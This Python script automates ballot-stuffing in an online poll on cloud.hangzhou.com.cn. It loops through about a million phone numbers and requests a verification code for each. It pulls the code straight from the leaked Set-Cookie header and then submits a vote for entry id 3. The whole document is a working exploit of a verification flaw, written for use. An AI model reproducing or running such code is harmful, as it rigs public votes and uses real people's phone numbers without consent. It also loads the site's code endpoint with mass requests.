#coding=utf-8

import requests
import re


def post_vote(p):
    try:
        p1 = str(p)
        getcode =  "http://cloud.hangzhou.com.cn/yhnd/getcode.php"
        phone = {'phone': p1}
        r = requests.post(getcode, data=phone)
        #print(r.text)
        ck = r.headers.get("set-cookie")
        ck_re = re.search(r'verify_phone\d{11}=\d{4}', ck)
        if ck_re:
            ck_re_group = ck_re.group(0).split("=")[1]

            p = requests.post("http://cloud.hangzhou.com.cn/yhnd/ajaxm.php", data={'id': 3, 'phone': p1, 'code': ck_re_group})
            #print(p.text)
            print("%s 投票成功" % p1)
        else:
            print("%s 投票失败" % p1)
    except Exception, e:
        print(e)


for p in range(18668000000, 18668999999):
    #p1 = '18668032358'
    post_vote(p)